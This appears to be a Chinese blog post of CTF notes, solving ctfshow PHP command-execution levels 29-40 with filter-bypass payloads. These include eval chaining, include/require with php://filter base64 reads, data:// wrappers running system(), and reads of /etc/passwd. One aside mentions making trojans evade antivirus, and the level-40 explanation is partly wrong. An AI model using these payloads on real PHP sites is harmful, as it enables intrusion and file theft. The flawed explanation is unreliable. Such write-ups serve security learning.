震惊！！！ ctfshow解题思路

最新推荐文章于 2024-04-04 13:21:15 发布

web安全00x1

最新推荐文章于 2024-04-04 13:21:15 发布

阅读量1.6k

点赞数 47

文章标签： web安全笔记

本文链接：https://blog.csdn.net/2301_78362619/article/details/135059164

版权

理解命令执行

就是服务器某一个语法或者命令过滤了那么我们要绕过这些过滤给数据玩急转弯

原理就是用特殊符号代替或者用别的方式让语句可以生效从而达到命令可以被执行

29关

?c=phpinfo()?>

得到php信息

?c=file_get_contents('')

理解为内容会不会过滤

?c=("cp fla?.php 1.txt")

Flag被过滤了所以要将flag的g换成？

然后再访问1.txt

?c=system("ls");

?c=system("tac%20f*.php");

通关

30关

?c=`cp fla?.??? 1.txt`;

然后 1.txt

记得加分号结束语句

31关

可以看到这些红色的就是被过滤掉的指令

那么我们要绕过这些指令去代替被过滤的

?c=eval($_GET[1]);&1=phpinfo();

得到了php画面

?c=eval($_GET[1]);&1=system('ls');

?c=eval($_GET[1]);&1=system('cat flag.php');

右键查看源代码即可通关

现在学到第三关了逻辑一定要搞清楚

文件上传

命令执行

文件包含

都是类似的方法去绕过

欺骗服务器以后制作木马的要求就是能不能绕过360

木马进去windows系统能不能免杀不被发现

c参数是一个跳板

另外补充知识点 $符号是变量的意思

相当于一个桶子你把一个数据丢进去然后可以变化指定到很多数据

王者荣耀的中路知道吧不同的分路都可以来单吃兵线而来单吃兵线的人都可以拿兵线去干不同的事情或者是购买物品进行刷经济从而提升巅峰分

常量名指的就是经常就是这个不改变

代码对于新手来说就是我要做什么我将这个数据给予了它一定的价值

当我要用它时我可以用ehco来输出它将内容显示出来

但是我不可能每次都要将echo这个词语打出来非常麻烦且工作量巨大

所以变量$就产生用处了

;每一行代码要在最后一个字符加上分号表示结束这样代码执行的时候才不会出现问题

32关

?c=include%0a$_GET[1];&1=/etc/passwd

尝试一次没有回显

将分号换成尖括号

?c=include%0a$_GET[1]?>&1=/etc/passwd

接下来试一下能不能包含二进制文件

?c=include%0a$_GET[1]?>&1=/bin/ls

?c=include%0a$_GET[1]?>&1=flag.php

没有回显右键查看源代码也没有

原因因为是文件包含并没有写输出变量

这里输出的语法是echo 读音是哎扣

没有回显的原因是文件包含过滤了分号所以导致输出不了

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

拿到了很长一段代码

解码 basse64 解码网站是从百度是上查的我这边随便查了一个https://tool.ip138.com/base64/

不想用就自己去搜索 basse64 decode在线解码

直接拿下

这一题与上一关差不多

不同点是这里使用的是文件包含

从而变相的达到任意文件上传的方法

33关

刚才我们用了 include 这次用 require

?c=require%0a$_GET[1]?>&1=/etc/passwd

可以读取出来那们我们直接包含进去

?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

得到密文然后解码

base64解码 base64编码在线base64解码/编码工具 iP138在线工具这个是解码地址不想用自己去查

通关

一般是用hackbar来快捷输入语法以及解析直接点击就好

这个插件教程后续会出都是一键化的

但是首先要学会手工能够看得懂知道怎么个回事再去走捷径省点麻烦

打完靶场之后不看教程再来一遍那就是学会了不然就是当脚本小子咯

34关

Echo

isset

Unset

include

require

常用的是这5个

isset 空格 echo 被过滤了

试下这3个能不能用

?c=print%0a$_GET[1]&1=phpinfo();

?c=print%0a$_GET[1]?>&1=phpinfo(); 回显结果是 phpinfo（）；

?c=include%0a$_GET[1]?>&1=/etc/passwd 有回显

只能说明文件读取没有显示在那里执行

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

解码过关 base64解码 base64编码在线base64解码/编码工具 iP138在线工具这个是解码地址不想用自己去查

35关

?C=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

这题晚上弄

36关

不让用数字了可以用字母

1换成a

?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

php会向下兼容虚拟机选择操作系统以及版本也是一样的

高版本会适应低版本而低版本无法适应高版本

我的疑问是怎么样去判断加不加单引号符号如何增加

37关

?c=data://text/plain,<?php phpinfo();?>

获取到版本信息

?c=data://text/plain,<?php system("mv fla? .php 1.txt");?>

1.txt

?c=data://text/plain,<?php system("mv fla?.php 1.txt");?>

先输入这个

然后再输入1.txt

flag就出来了

38关

先输入命令然后输入1.txt

为什么输入1.txt

是以这个格式显示出来么

?c=data://text/plain,<?=system("cp fl*.*1.txt");?>

1.txt

38关有问题下一关进行

39关

?c=data://text/plain,<?=phpinfo();?>

有回显表示可以执行

?c=data://text/plain,<?=phpinfo0;?>.php

出现了报错

?c=data://text/plain,<?=2;?>.php 回显 2.php.php

?c=data://text/plain,<?=2;?> 回显 2.php

这里的意义是知道代码加减哪些字符可以达到什么效果

所以将代码手敲上去就行了敲完再看看

接下来

?c=data://text/plain,<?=system("tac fla?.ph?");?>

由于flag 和 php 被屏蔽通过更换其中一个字符来运行

通关下一关

40关

新手看不懂就先把公式给手工打出来然后将每个代词翻译一遍记笔记没有学不会的东西只不过说是换一种思维方式还有看懂的方式都是一层层套娃套下来的意思

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

输入这个命令通关

但是我们不用这种方式因为不够深入

我将代码解释一下是什么意思怎么去运行的

这段代码的含义和作用如下： url地址中从右往左看

通过 GET 请求参数传递了一个名为 "c" 的值，即 ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));。
代码中使用了一系列函数来执行一些文件操作和函数调用。

scandir() 函数用于获取指定目录中的文件和目录列表。在这里，pos(localeconv()) 返回当前系统的本地化设置，然后 scandir() 函数将返回该本地化设置所在目录中的文件和目录列表。
array_reverse() 函数将文件和目录列表反转，以便最后一个元素位于数组的开头。
next() 函数用于获取数组中的下一个元素，即最后一个元素。